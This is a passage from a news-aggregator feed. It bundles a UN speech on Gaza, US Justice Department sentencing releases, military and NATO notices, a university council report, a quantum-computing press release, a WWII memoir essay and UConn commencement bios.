    Les Palestiniens sont cantonnés dans certains endroits et contraints d’en quitter d’autres. Ils sont cantonnés dans des zones où les opérations militaires se multiplient et où l’Autorité palestinienne est soumise à des pressions croissantes, et contraints de quitter les zones où les colons étendent leur emprise.

    Troisièmement, la violence exercée par les colons se poursuit dans un climat d’impunité, parfois avec la complicité de soldats israéliens, et atteint des niveaux alarmants : des communautés palestiniennes tout entières sont agressées et victimes de destructions à répétition.

    Les attaques menées par des Palestiniens contre des Israéliens en Israël et en Cisjordanie occupée se poursuivent également.

    Monsieur le Président,

    Le monde ne peut pas se permettre de voir la solution des deux États s’évanouir.

    Les dirigeants politiques ont le choix : se taire, acquiescer ou agir.

    Monsieur le Président,

    À Gaza, rien ne laisse entrevoir la fin de la tuerie et des souffrances.

    Le cessez-le-feu avait apporté une lueur d’espoir : la libération des otages, tant attendue, et l’acheminement d’une aide humanitaire vitale.
    Hélas, cette lueur d’espoir s’est éteinte avec la rupture du cessez-le-feu le 18 mars.

    Depuis, les frappes et les opérations militaires israéliennes ont fait près de 2000 morts parmi les Palestiniens dans la bande de Gaza, y compris des femmes, des enfants, des journalistes et du personnel humanitaire.

    Le Hamas continue également de tirer des roquettes sur Israël sans discernement – tandis que les otages sont toujours détenus dans des conditions épouvantables.

    Déjà mauvaise, la situation humanitaire dans la bande de Gaza n’a fait qu’empirer et dépasse aujourd’hui l’entendement.

    Depuis près de deux mois, Israël bloque les livraisons de nourriture, de carburant, de médicaments et de marchandises, privant ainsi plus de deux millions de personnes d’une aide vitale.

    Et ce, au vu et au su du monde entier.

    Je suis alarmé par les déclarations de représentants d’Israël concernant l’utilisation de l’aide humanitaire comme moyen de pression militaire.

    L’aide humanitaire n’est pas négociable.

    Israël est tenu de protéger les civils ; il doit accepter les programmes d’aide et en faciliter l’exécution.

    Je rends hommage au personnel des Nations Unies, femmes et hommes, ainsi qu’à tous les autres agents humanitaires, en particulier à nos collègues palestiniens, qui continuent à travailler malgré les frappes et dans des conditions inouïes.

    Et je pleure toutes les femmes et tous les hommes des Nations Unies qui ont été tués – y compris certains avec leurs familles.

    L’acheminement de l’aide doit être rétabli immédiatement, la sécurité du personnel des Nations Unies et des partenaires humanitaires doit être garantie et les entités des Nations Unies doivent pouvoir travailler dans le plein respect des principes humanitaires : humanité, impartialité, neutralité et indépendance.

    Il ne doit y avoir aucune entrave à l’aide humanitaire, notamment au travail vital que fait l’UNRWA.

    Il faut que tous les otages soient libérés immédiatement et sans conditions.

    Et il faut un cessez-le-feu permanent.

    Il est temps de mettre un terme aux déplacements répétés de la population de Gaza, ainsi qu’à la question des déplacements forcés en dehors de Gaza.

    Et il faut cesser de bafouer le droit international.

    J’engage tous les États Membres à user de leur influence pour que le droit international soit respecté et que l’impunité ne l’emporte pas.

    Je veux parler notamment de la frappe du 19 mars contre une résidence des Nations Unies, qui a fait un mort et six blessés parmi nos collègues et pour laquelle Israël a désormais reconnu sa responsabilité … de l’attaque du 23 mars, dans laquelle du personnel paramédical et d’autres secouristes ont trouvé la mort à Rafah … et de bien d’autres encore.

    Aucun acte ne saurait rester impuni.

    Monsieur le Président,

    Une procédure consultative a été engagée à la Cour internationale de Justice sur les obligations d’Israël, Puissance occupante et membre de l’ONU, en ce qui concerne la présence et les activités des entités des Nations Unies dans le Territoire palestinien occupé et en lien avec celui-ci.

    En février, la Conseillère juridique de l’ONU a soumis en mon nom une déclaration écrite à la Cour, et hier, elle a fait une déclaration orale devant la Cour, également en mon nom.

    Cette déclaration reprend des points que j’ai soulevés à plusieurs reprises.

    En particulier, le fait que toutes les parties au conflit sont tenues de s’acquitter des obligations que leur impose le droit international, y compris le droit international humanitaire et le droit international des droits humains.

    Qu’Israël, Puissance occupante, est tenu d’assurer l’approvisionnement de la population en produits alimentaires et fournitures médicales.

    Qu’il est tenu d’accepter les programmes d’aide et d’en faciliter l’exécution dans le Territoire palestinien occupé.

    Que le personnel humanitaire et médical, ainsi que le personnel des Nations Unies, doit être respecté et protégé.

    Je tiens à insister sur l’obligation faite en droit international de respecter les privilèges et immunités des Nations Unies et de leur personnel, y compris l’inviolabilité absolue des locaux, des biens et des avoirs des Nations Unies, ainsi que l’immunité de juridiction des Nations Unies.

    Cette immunité s’applique à toutes les entités des Nations Unies dans le Territoire palestinien occupé, y compris l’UNRWA, organe subsidiaire de l’Assemblée générale.

    J’engage les États Membres à soutenir tous ces efforts.

    Monsieur le Président,

    En cette période de tourmente et de transition pour la région, les États Membres doivent énoncer clairement comment ils concrétiseront l’engagement qu’ils ont pris et la promesse qu’ils ont faite quant à la solution des deux États.

    Ce n’est pas le moment d’exprimer rituellement son soutien, de cocher une case et de passer à autre chose.

    Nous avons dépassé le stade des cases à cocher : le temps presse.

    Pour la solution des deux États, le glas a presque sonné.

    La communauté internationale a la responsabilité d’empêcher l’occupation et la violence perpétuelles.

    L’appel que je leur lance est urgent et sans équivoque :

    Prenez des mesures irréversibles pour concrétiser la solution des deux États.

    Ne laissez pas les extrémistes de tout bord saper ce qu’il reste du processus de paix.

    La Conférence de haut niveau qui se tiendra en juin, co-présidée par la France et le Royaume d’Arabie saoudite, est une véritable occasion de revitaliser le soutien international.

    J’encourage les États membres à aller au-delà des affirmations et à réfléchir de manière créative aux mesures concrètes qu’ils prendront pour soutenir une solution viable à deux États avant qu’il ne soit trop tard.

    J’encourage les États Membres à traduire les paroles en actes et à réfléchir de manière créative pour déterminer les mesures concrètes qu’ils prendront pour soutenir une solution viable de deux États – avant qu’il ne soit trop tard.

    Parallèlement, l’Autorité palestinienne a besoin d’un soutien accru et durable, tant sur le plan politique que financièrement parlant. C’est une condition essentielle pour garantir la viabilité des institutions palestiniennes, asseoir les réformes engagées et permettre à l’Autorité palestinienne d’exercer de nouveau toutes ses responsabilités dans la bande de Gaza.

    Monsieur le Président,

    À ce moment charnière de l’histoire pour les peuples du Moyen-Orient – et vis-à-vis de cette question dont dépendent tant de choses – les dirigeants doivent concrétiser leur promesse.

    Faites preuve de courage et de volonté politiques, tenez vos engagements vis-à-vis de cette question centrale pour la paix : pour les Palestiniens, les Israéliens, la région et l’humanité tout entière.

    Je vous remercie.

    MIL OSI United Nations News –

    April 30, 2025
  • MIL-OSI Security: Prolific Fraudster Sentenced to 10 Years for Series of Schemes Costing Victims Millions

    Source: Federal Bureau of Investigation (FBI) State Crime News

    HOUSTON – A 39-year-old Manvel resident who used his veteran status to perpetuate several financial crimes has been ordered to federal prison, announced U.S. Attorney Nicholas J. Ganjei.

    Antonio Jackson Jr. pleaded guilty Feb. 4.

    U.S. District Judge Lee Rosenthal has now ordered Jackson to serve 120 months in federal prison to be immediately followed by three years of supervised release. The court also ordered Jackson to pay a total of $1,974,145.63 in restitution to four different victims.     

    At the hearing, the court heard additional evidence about the various methods Jackson used to exploit his victims, including creating fake companies, submitting bogus tax records and even faking signatures of government officials and copying official government seals and emblems. In handing down the sentence, Judge Rosenthal highlighted Jackson’s wide-ranging criminal conduct and his ongoing commitment to defrauding both public and private victims. The court also noted that Jackson exploited his brief stint in the U.S. Army, which ended in a court-martial, as a way to deceive others under the guise of service.  

    From July 2020 to May 2021, Jackson submitted four false Paycheck Protection Program (PPP) loan applications. He claimed his business earned millions in revenue and paid hundreds of thousands in wages to more than 20 employees. In reality, Jackson fabricated tax returns, bank statements and other business records to support his false claims. The scheme resulted in losses of approximately $480,000.

    While awaiting trial, authorities uncovered three additional schemes Jackson committed. As part of his plea agreement, he admitted to defrauding a Washington D.C.-based federal credit union through a series of scam home improvement loans. Jackson also made false statements to obtain a Department of Veteran’s Affairs (VA)-backed loan. In addition, he defrauded Brazoria County taxpayers by falsely claiming disabled veteran status to receive property tax relief on his Manvel residence.

    He will remain in custody pending transfer to a Federal Bureau of Prisons facility to be determined in the near future.

    The Small Business Administration and the Department of Veteran’s Affairs- Office of Inspector General conducted the investigation with the assistance of several local police departments. Assistant U.S. Attorneys Andrew Swartz and Thomas Carter prosecuted the case.

    MIL Security OSI –

    April 30, 2025
  • MIL-OSI Security: Former Army Soldier Convicted of Sexually Abusing a Child and Requesting a Sexually Explicit Photograph of a Different Child

    Source: Office of United States Attorneys

    SAVANNAH, GA: A jury convicted a local man previously stationed at Fort Stewart, Georgia, at trial for victimizing two children.

    Cedrick Demon Robinson, 42, Oxford, MS, was convicted of Aggravated Sexual Abuse of a Child and Attempted Production of a Visual Depiction of a Minor Engaging in Sexually Explicit Conduct following jury trial in the Southern District of Georgia, said Tara M. Lyons, Acting U.S. Attorney for the Southern District of Georgia.  U.S. District Court Chief Judge R. Stan Baker presided over the two-day trial.

    “Protecting children from those who would abuse them and seeking justice for sexual predators remains one of our District’s highest priorities,” said Acting U.S. Attorney Lyons. “We will continue to seek justice for those who would victimize our most vulnerable citizens.”

    As described in courtroom testimony, in December of 2013, Robinson sexually abused a minor by fondling the child’s genitals when the child was merely nine years old. Later, in 2017, Robinson requested that another child text him a sexually explicit photograph when the child was fifteen years old.

    Robinson awaits sentencing upon the U.S. Probation Services completing a presentence investigation.

    “Mr. Robinson’s conviction is a testament to the diligent work of our special agents and prosecutorial partners at the United States Attorney’s Office,” said Department of the Army Criminal Investigation Division, Southeast Field Office, Special Agent in Charge Steven Ausfeldt. “Army CID will aggressively pursue anyone who would abuse or exploit our children.”

    The case was investigated by the Department of the Army Criminal Investigation Division’s Fort Stewart Office and prosecuted for the United States by the Southern District of Georgia Assistant United States Attorneys Michael Z. Spitulnik and Darron J. Hubbard. 
     

    MIL Security OSI –

    April 30, 2025
  • MIL-OSI Security: 40th iteration of exercise TRADEWINDS 25 unites 26 nations promoting security in the Western Hemisphere

    Source: United States SOUTHERN COMMAND

    More than 1,000 service members, law enforcement professionals, government officials and other participants from 26 partner and allied nations gathered at Teteron Barracks, Chaguaramas, Trinidad and Tobago, on April 26 to officially commence TRADEWINDS 25, the U.S. Southern Command-sponsored, U.S. Army South-led multinational, multi-domain exercise.

    MIL Security OSI –

    April 30, 2025
  • MIL-OSI Russia: The Academic Council discussed youth policy issues

    Translation. Region: Russian Federal

    Source: Peter the Great St Petersburg Polytechnic University – Peter the Great St Petersburg Polytechnic University –

    The meeting of the Academic Council began, as per tradition, with a pleasant ceremony of honoring the Polytechnicians and the university’s partners.

    For her significant contribution to the development of the university, the rector of SPbPU Andrey Rudskoy awarded the commemorative badge “For Merit” to the federal inspector for St. Petersburg of the Office of the Plenipotentiary Representative of the President of the Russian Federation in the Northwestern Federal District Tatyana Kubrakova.

    Then Andrey Ivanovich congratulated the graduate and postgraduate student of the Polytechnic University, assistant of the Higher School of Sports Pedagogy of the Institute of Physical Culture, Sports and Tourism, Honored Master of Sports of the Russian Federation, World and European Champion in short water Kirill Prigoda with a recent victory at the Russian Swimming Championship. The Polytechnician was the best in five distances: 50, 100, 200 meters breaststroke, in the 4×100 relay medley swimming and broke the Russian record. Kirill is the pride of the Polytechnic University, and given his great contribution to strengthening the positive image of the university, the Rector of SPbPU presented him with the main award of the university – the “For Merit” badge with special feeling.

    Candidate of Pedagogical Sciences diplomas were awarded to Igor Rovnin, a graduate of the Institute of Physical Culture, Sports and Tourism, deputy director of the private general education institution Gazprom School Saint Petersburg (academic supervisor – professor of the Higher School of Sports Pedagogy of SPbPU Alexander Bolotin) and senior lecturer of the Department of Foreign Languages Galina Borshchenko (academic supervisor – doctor of pedagogical sciences, professor Anna Rubtsova).

    Milana Zhavner received an associate professor’s certificate in the scientific specialty “Mechanical Science”.

    It’s time to honor the winners and prize winners of various competitions and contests. Winner of the Gazprom Neft League of Universities Award The SPbPU team won in the “Big Prospects” nomination, presenting an additional professional development program “Reverse Engineering of Oil Industry Enterprises”: Vice-Rector for Continuing and Pre-University Education Dmitry Tikhonov, Director of the Information Technology and Business Analysis Research Center “Gazprom Neft” Irina Rudskaya, Head of the Directorate of Continuing Education and Industry Partnership, Head of the Program Ivan Kurta, and Leading Analyst of the Directorate of Continuing Education and Industry Partnership Natalia Ivanova.

    The team of the Higher School of Media Communications and Public Relations of the Humanitarian Institute, consisting of Adelina Borodina, Aya Klimacheva, Vladislava Smelova, and Taisiya Temirova (project mentor – Director of the Higher School of Media Communications and Public Relations Marina Arkannikova), won in two nominations of the All-Russian competition of student works “Archer of the Future”.

    And the volunteer project “Polytech Gives Good” by students of the Higher School of Microbiology and Social Sciences Sofia Ryabinina and Elina Avakova took 1st place in the All-Russian competition “School of Volunteers”.

    L. N. Gumilyov Eurasian National University (Kazakhstan) sent letters of gratitude to Polytechnic University teachers Natalia Chicherina, Maya Bernavskaya, Evgenia Tuchkevich and Evgenia Vorontsova for promoting fruitful educational and scientific cooperation, supporting scientific events and active participation in the international seminar “New paradigms of scientific research in the era of AI: opportunities and transformation of research practices”.

    The SPbPU Certificate of Honor for many years of conscientious work and high professionalism was awarded to the Head of the Quality Control Department, Maxim Dyuldin.

    For the first time in the history of the Polytechnic Military Training Center, for excellent academic performance, active civic position, initiative and diligence demonstrated in volunteer work and assistance to participants of the SVO, students of the communications department Grigory Aleksandrov (IMMiT) and Artem Tikhonravov (IEIT) received departmental awards of the Ministry of Defense of the Russian Federation – the medal “Marshal of the Signal Troops Peresypkin”.

    Lecturer at the Institute of Secondary Vocational Education Tatiana Tsvetkova received two awards – gratitude from the Committee on Science and Higher Education “For conscientious work, great personal contribution to the development of the professional education system of St. Petersburg” and gratitude from the rector of SPbPU A. I. Rudskoy “For the successful organization and holding of the opening Museum of the History of the Development of Public Catering in St. Petersburg as part of the St. Petersburg government project “St. Petersburg cuisine”.

    At the international robot fighting championship RoboWars, which took place in the Indian city of Surat during the largest technology festival Mindbend and brought together more than 80 teams from different countries, the CML-team of the Student Design Bureau of the Advanced Engineering School “Digital Engineering” won – engineer of the Experimental Design Bureau of the SPbPU PISh Vsevolod Bolshakov and laboratory assistant of the Experimental Design Bureau of the SPbPU PISh Daria Kuatkhina. The guys also became winners in the individual competition “Battle of Robots – KRASHILOVO”, in which more than 40 teams from different regions of Russia participated.

    As always, the athletes pleased us with their success. The Polytechnicians became the first in the St. Petersburg student cheerleading competitions (thanks to students Marat Gainutdinov, Victoria Nechaeva, Arina Rakhmatulina and Margarita Senina)

    According to the results of the student karate competitions (VKF) within the framework of the St. Petersburg Student Sports Games 2025, Polytech won 1st place in the overall team standings. This is the merit of the coach of the Student Sports Club “Black Bears-Polytech” Elizaveta Orlova, as well as students Anastasia Vasilenko, Maria Luganskaya and Valery Kazantsev.

    The SPbPU hockey team also won the All-Russian final of the Student Hockey League championship and earned special congratulations from the SPbPU Academic Council.

    After the official ceremony, the Academic Council moved on to the agenda. Vice-Rector for Youth Policy and Communication Technologies Maxim Pasholikov spoke about the implementation of youth policy at the university.

    “It is important that students from their first year begin to understand the values our university lives by, accept these values and leave the Polytechnic as spiritually mature people with the right life guidelines,” emphasized Maxim Pasholikov. “Our communities have always been the main actor in our youth policy. It is impossible to reach all 30 thousand students given the limited resources. That is why trade union organizations, the headquarters of student teams, the adapter movement, patriotic and sports clubs, creative associations that attract a large number of young people are important to us, and, accordingly, through them, through their leaders, we work with young people.”

    Maxim Aleksandrovich noted that the leaders of student associations in many cases become mentors for their younger comrades, and even after graduating from university, they return here as members of the alumni association and ambassadors of the Polytechnic University.

    The Vice-Rector noted that the SPbPU History Museum, creative semesters and last year’s innovation – musical changes on the White Staircase of the Main Academic Building – play an important role in the education and formation of students’ personalities.

    The number of visitors, projects and grants is also growing in the Polytechnic Tower. Work continues within the framework of the “We are together” campaign – for this the vice-rector separately thanked the Humanitarian Institute and the “Harmony” Center.

    Maxim Aleksandrovich drew the attention of the institute directors to the fact that the relevance of social and psychological assistance at the university has grown significantly.

    This year we managed to expand the staff of the Psychological Support Center; people are asking for help, and these are not just people who want to talk, but those who are really experiencing difficulties and problems, emphasized Maxim Pasholikov.

    Maxim Aleksandrovich spoke in detail about the events dedicated to the 80th anniversary of the Victory in the Great Patriotic War, talking about the festive decoration of the campus, exhibitions, the ongoing project “Scientific Regiment” and the new video project “Memory of Glory Lives”, the play “Engineers of Victory” and the upcoming press conference at TASS about the new book “Polytech. Fortitude. 1941-1945”. As always, the inter-university military-patriotic rally “Syandeba” and “Family Victory Day” will be held in the Polytech Park on May 17, including the traditional run named after Hero of the Soviet Union Viktor Lyagin.

    The second issue on the agenda was the presentation of academic titles. By a majority of votes, the members of the SC voted to award the academic title of “professor” to Vladimir Sergeev (PhysMekh) and Alexey Flimonov (IEIT); the title of “associate professor” to Alexey Lukin (PhysMekh), Roman Burkovsky (IEIT), Alexey Grachev and Dmitry Masailo from IMMIT, Alexander Moskvichev (IBSS) and Elena Ladik (ISI).

    On the third issue, “On monitoring the implementation of decisions of the Academic Council,” the scientific secretary of SPbPU, Dmitry Karpov, made a report.

    Also, the members of the Academic Council unanimously supported the nomination of the assistant of the Rais of the Republic of Tatarstan Albert Gilmutdinov for the award of the title of “Honorary Professor of SPbPU”.

    Photo archive

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    MIL OSI Russia News –

    April 30, 2025
  • MIL-OSI: QuEra Selected for Phase I of DARPA’s Quantum Benchmarking Initiative

    Source: GlobeNewswire (MIL-OSI)

    BOSTON, April 29, 2025 (GLOBE NEWSWIRE) — QuEra, the leader in neutral-atom quantum computing, is pleased to announce its selection by the Defense Advanced Research Projects Agency (DARPA) for Stage A of the Quantum Benchmarking Initiative (QBI). DARPA QBI is a multi-stage program which aims to determine whether it is possible to build a commercially useful, fault-tolerant quantum computer within a decade.

    “We are honored that QuEra has been invited to participate in the first phase of the QBI program,” said Andy Ory, CEO of QuEra. “This initiative represents an opportunity to demonstrate the true potential of our neutral-atom approach. We look forward to working with DARPA’s team and accelerate the path toward a transformative computing platform and build a neutral-atom quantum supercomputer.”

    DARPA’s Quantum Benchmarking Initiative is designed to rigorously verify and validate diverse quantum computing approaches. Participants enter a six-month Stage A, during which they detail their technical concepts and planned research paths. Companies that successfully complete this stage may then advance to a year-long Stage B, followed by a final Stage C, where an independent verification and validation (IV&V) team evaluates prototype hardware and accompanying technologies. This evaluation process is meant to assess the feasibility of achieving “utility-scale” quantum computing — systems that can deliver a true computational advantage for practical industry and government applications.

    QuEra will use its unique neutral-atom architecture to advance work on fault-tolerant quantum computing. The approach leverages the natural scalability of neutral atoms and QuEra’s unique qubit shuttling technology. QuEra’s team of world-class physicists, engineers, and collaborators from leading research institutions has been steadily refining this platform, culminating in the opportunity to share its plan in more detail during Stage A of QBI.

    By participating in QBI, QuEra will continue developing its systems and present evidence of how its unique quantum computing approach could ultimately meet the cost-benefit threshold required for industrial utility. The company’s research and development roadmap will be subject to rigorous technical scrutiny — aligning with QBI’s overarching mission of determining realistic quantum computing capabilities in the near term.

    QuEra is dedicated to advancing quantum computing using neutral-atom architectures. Drawing upon expertise in atomic physics, optical engineering, and algorithm design, QuEra is forging a path toward the development of scalable, fault-tolerant quantum processors that address complex computational challenges in industry, government, and academia.

    For additional information on the Quantum Benchmarking Initiative, please visit: https://www.darpa.mil/research/programs/quantum-benchmarking-initiative

    About QuEra

    QuEra Computing is the leader in developing and productizing quantum computers using neutral atoms, widely recognized as a highly promising quantum computing modality. Based in Boston and built on pioneering research from Harvard University and MIT, QuEra operates the world’s largest publicly accessible quantum computer, available over a major public cloud and for on-premises delivery. QuEra is developing useful, scalable and fault-tolerant quantum computers to tackle classically intractable problems, becoming the partner of choice in the quantum field. Simply put, QuEra is the best way to quantum. For more information, visit us at quera.com and follow us on X or LinkedIn.

    Media Contact

    Merrill Freund
    press@quera.com
    +1-415-577-8637

    The MIL Network –

    April 30, 2025
  • MIL-OSI Global: My Cypriot grandfather was one of millions of foreign servicemen who fought for Britain. Now I’m telling their stories

    Source: The Conversation – UK – By Christiana Gregoriou, Professor in English Language and Stylistics, University of Leeds

    The second world war veteran community is far more ethnically diverse than many people realise, with over 3 million foreign servicemen serving with the British armed forces during the conflict.

    Second world war memoirs are vital records of how these servicemen remembered the war. They offer insights into their relationship to trauma and resilience and their search for meaning in life.

    May 8 2025 is the 80th anniversary of VE Day. As we mark it, it’s important that we celebrate this ethnic diversity and highlight how much this community’s memoirs can teach us about the joy of making sense and finding lessons, however challenging life may be.

    My research into second world war memoirs uses original archival materials including the memoir of my grandfather, Cypriot sergeant Phylactis Aristokleous (British Army). He was a prisoner of war (PoW) and one of the thousands of colonised Cypriots who volunteered to serve in the army’s Cyprus regiment at the time.


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    My colleague George Rodosthenous is currently adapting my grandfather’s memoir into a theatrical monologue. It will form the basis of a lecture-performance which will tour Yorkshire heritage sites in May as part of a week commemorating VE Day. All are welcome to attend.

    Though his story is one of deprivation and difficulty, Aristokleous’ war experience was also one he took huge pride in. He believed his time had been beneficial and felt a strong need to share his story with others.

    Memoirists are narrators of the history they bore witness to. Though their stories appear to be individual and personal, they are in constant dialogue with their readers, and with each other, informed by experience that is rich, historic and detailed.

    The stories in these memoirs are part of a web of experiences shared with and influenced by others. Read collectively, a culturally dominant story emerges of survival and determination.

    The war experience

    My grandfather believed that serving in the allied forces and writing about his experiences in his memoir shaped the rest of his life. He claimed that his war experiences determined his outlook and prepared him for the life he led after service. All the while, he was aware that his time had also split his sense of self into parts – some of which he left “behind”.

    Even though this positivity might well be more of a feature of his character rather than the war experience itself, it is nevertheless telling. Aristokleous selected many individual incidents to write about, and my analysis of his memoir focuses on them. He acknowledged that only some of them were incidents he had witnessed firsthand; the rest were stories that others had shared with him.

    The authenticity of the stories he shared tended to be driven by his belief that collectively, and in the war specifically, groups of people from the same nations behaved in the same sort of way.

    In one instance, for example, he accepted the authenticity of a story about Australians being courageous only on the basis of him witnessing a random Australian being courageous at a different point in time entirely. The story concerned two Australians who – after killing a German guard – shot each other so they would not be arrested. He believed this story because of an incident he witnessed himself – an Australian PoW who avenged the killing of an innocent British PoW by killing the German guard responsible, only to then be killed himself.

    Even though my grandfather’s stories were compellingly told and retold over the course of several decades, writing them down helped him organise and conceptualise them into a narrative life-story. In so doing, he added unlikely connections between incidents across his life and PoW journey. He made sense of incidents that happened at one point in place and time by linking them to another place and time entirely.

    In one chapter, for example, he talked about winning bread in a raffle, a moment he linked back to having previously asked God for forgiveness for having given a hungry British sergeant dry biscuits that were not his to give away. He deemed his winning a response to prayer.

    He also drew on analogies for the prisoner experience found in the natural world, which speaks to his dehumanisation during that time. There’s the story of a prisoner’s pet-crow, Jack, for example, who hid cheese the PoWs gave him in the snow for when he needed it. From this, he suggested that the PoWs needed to do the same themselves. These connections helped him to construct sense and rationale around what he went through, and even find closure and catharsis.

    Analysis of his many anecdotes also reveals a tendency to dissociate, by using “we” instead of “I”, for instance. He also distanced himself from what was happening by using direct quotes from others in mostly foreign languages. This lends his stories an air of authenticity.

    The memoir also uses proverbs specific to his Greek Cypriot culture. This enabled him to find another purpose to his stories – to turn them into life lessons for others, particularly his own children and grandchildren.

    An enduring legacy

    Most of the second world war veteran community is no longer with us. But their experience in the form of memoirs is, and so is the enduring legacy they left behind.

    The most cynical of us may argue that life is chaotic, futile and devoid of meaning, but what these memoirs, and my grandfather, may teach us is that we can craft ourselves a narrative to help make sense of it.

    Perhaps most importantly, this multicultural veteran community serves as a powerful reminder that, despite the global conflict they endured, it was through diverse nations uniting across ethnic lines, that they were able to defend their freedom, lives and livelihoods from those who sought to destroy them.

    Christiana Gregoriou does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

    – ref. My Cypriot grandfather was one of millions of foreign servicemen who fought for Britain. Now I’m telling their stories – https://theconversation.com/my-cypriot-grandfather-was-one-of-millions-of-foreign-servicemen-who-fought-for-britain-now-im-telling-their-stories-252697

    MIL OSI – Global Reports –

    April 30, 2025
  • MIL-OSI Security: NATO experts discuss nuclear deterrence challenges in Helsinki

    Source: NATO

    NATO’s annual Nuclear Policy Symposium kicked off in Helsinki, Finland, on Tuesday (29 April 2025). Held annually since 1992, it is the Alliance’s main nuclear policy event. The symposium brings together outside experts as well as NATO and Allied senior officials to discuss pressing nuclear challenges facing the Alliance.

    “This year’s symposium is taking place at a critical moment for NATO’s nuclear deterrence” said Mr Jim Stokes, NATO’s Director of Nuclear Policy, who co-hosts the two-day event with Mr Janne Kuusela, Director General for Defence Policy at the Ministry of Defence of Finland. “The Alliance is facing an increasingly complex and rapidly changing security environment.”

    Mr Stokes added that NATO Allies reiterate their determination to take all necessary steps to ensure the credibility, effectiveness, safety and security of the nuclear deterrence mission. “Raising our collective awareness of nuclear policy issues, and having an opportunity to discuss implications, is key outcome from the symposium,” he said.

    “The commitment of NATO and its member states to credible and effective deterrence and defence is now more important than ever, said Antti Häkkänen, Minister of Defence of Finland. He emphasised that the Nuclear Policy Symposium supports achieving this aim. “This is a unique event which increases our understanding of pivotal topics in nuclear policy. The best experts in this field will be in attendance. I wish everyone a productive symposium”, Minister Häkkänen added.

    This year’s Nuclear Policy Symposium will address High North perspectives on deterrence, as well as the implications of nuclear threats and challenges across the Euro-Atlantic and Indo-Pacific regions.

    MIL Security OSI –

    April 30, 2025
  • MIL-OSI Video: What’s it take to keep a helicopter in the air?

    Source: US Army (video statements)

    About the U.S. Army:

    The Army Mission – our purpose – remains constant: To deploy, fight and win our nation’s wars by providing ready, prompt & sustained land dominance by Army forces across the full spectrum of conflict as part of the joint force.

    Interested in joining the U.S. Army?
    Visit: spr.ly/6001igl5L

    Connect with the U.S. Army online:
    Web: https://www.army.mil
    Facebook: https://www.facebook.com/USarmy/
    X: https://www.twitter.com/USArmy
    Instagram: https://www.instagram.com/usarmy/
    LinkedIn: https://www.linkedin.com/company/us-army
    #USArmy #Soldiers #Military #Shorts #Army

    https://www.youtube.com/watch?v=G3FUbssXItI

    MIL OSI Video –

    April 30, 2025
  • MIL-OSI USA: 2025 Commencement Speakers and Honorary Degree Recipients

    Source: US State of Connecticut

    From business success to the National Science Foundation, from policymaking in Hartford to the world’s most popular YouTube sneaker channel, from the Chairman of the Mashantucket Pequot Tribal Nation to the President of the Rwanda Academy of Sciences, the honored guests of UConn’s commencement ceremonies bring a wealth of experience, insight, and wisdom to share with this year’s graduates. Speakers at the ceremonies, which begin on Saturday, May 10, include:

    College of Engineering (Saturday, May 10, 9 a.m. at Gampel Pavilion): Mark P. Sarkisian ’83

    Mark Sarkisian is a partner in the San Francisco office of Skidmore, Owings & Merrill LLP. He is a licensed professional engineer and structural engineer in 31 states. In 2021, Sarkisian was elected to the National Academy of Engineering, and is a member of the University of Connecticut Academy of Distinguished Engineers. He received his bachelor’s degree in civil engineering from UConn in 1983, and his master’s degree in structural engineering from Lehigh University. Sarkisian’s career focuses on developing innovative structural engineering solutions for over 100 major building projects around the world, including the Jin Mao Tower in China and the Al Hamra Fidrous Tower in Kuwait, both over 1,300 feet[1]tall. Sarkisian holds 10 U.S. patents and five international patents. Sarkisian has authored over 150 technical papers related to the design of building structures, and in 2012 completed his first book, “Designing Tall Buildings – Structure as Architecture.” He teaches integrated studio design courses focused on collaborative design opportunities at the University of California, Berkeley; California College of the Arts; Stanford University; California Polytechnic State University; Northeastern University; North Carolina State University; and the Pratt Institute.

    School of Nursing (Saturday, May 10, 9 a.m. at Jorgensen Center for the Performing Arts): Joan Y. Reede

    Dr. Joan Y. Reede was appointed as Harvard Medical School’s (HMS) first Dean for Diversity and Community Partnership in January of 2002, and has been responsible for the development and management of a comprehensive program that has provided leadership, guidance, and support to promote the increased recruitment, retention, and advancement of diverse faculty, particularly individuals from groups underrepresented in medicine. This charge includes oversight of all diversity activities at HMS as they relate to faculty, trainees, students, and staff. Reede is a graduate of Brown University and Mount Sinai School of Medicine. She completed a pediatric residency at Johns Hopkins Hospital in Baltimore, Maryland, and a fellowship in child psychiatry at Boston Children’s Hospital. She holds an MPH and an MS in Health Policy Management from Harvard T. H. Chan School of Public Health, and an MBA from Boston University. Reede created and developed more than 20 programs at HMS that aim to address pathway and leadership issues for minorities and women who are interested in careers in medicine, academic and scientific research, and the health care professions. At a national level, Reede’s advice and expertise is highly sought after among several committees and councils, such as being appointed to the Health and Human Services Advisory Committee on Minority Health and serving on the Board of Governors for the Warren Grant Magnuson Clinical Center. She also has many affiliations, including the Task Force for the Annual Biomedical Research Conference for Minority Students, CTSA Women in CTR Interest Group of the NIH, and the American Association for the Advancement of Science STEM Education Review Committee.

    School of Business (Saturday, May 10, 1:30 p.m. at Gampel Pavilion): Richard Eldh ‘81

    Rich Eldh was born in the village of Ardsley, New York, and moved homes five times between the ages of 5 and 15. He attended Staples High School in Westport, graduating as a three-sport athlete and an all-state football player. After high school, he enrolled at the University of Connecticut. In what would have been his junior year, 1978–1979, he took a leave of absence to travel abroad, living in Kempten, Germany, in Bavaria. There, he worked at Dixie Union, a manufacturing company, as a computer programmer, where he developed new automation software for the finance department. This experience in Germany highlighted the significant impact computing technology would have on business. Motivated by this realization, he decided to pursue a career in the computer industry. Upon returning to the University of Connecticut for his final two years, he majored in finance at the School of Business and graduated in 1981 with a degree in Finance. He first joined a manufacturing firm implementing automation software, then moved to Four Phase Systems, a Motorola company, selling data entry systems. Later, he joined Hewlett-Packard, specializing in manufacturing systems and automation. It was at HP that he met his wife; they married and started a family. After working for two very large corporations, Rich joined a startup called Gartner Group in Stamford. He was the 100th employee, and in ten years, the company grew from $9 million in revenue to just under $1 billion with 4,500 employees. Today, Gartner boasts a market cap of $38 billion with 21,000 employees. These early career highlights led Rich to co-found Sirius Decisions, which became a leader in high-performance go-to[1]market research and benchmarking. Headquartered in Wilton, Sirius Decisions grew to 400 employees with private equity backing and offices worldwide. The company was eventually monetized for approximately $300 million through a sale to a public company in Boston. Throughout his career, he has had the honor of working with associates and clients across more than 50 countries. Alongside his career, Rich and his wife Joyce raised two daughters and a son. They have each found success in the medical field, the fashion world, and the blockchain and crypto industry, respectively.

    School of Social Work (Saturday, May 10, 1:30 p.m. at Jorgensen Center for the Performing Arts): Maggie Mitchell Salem

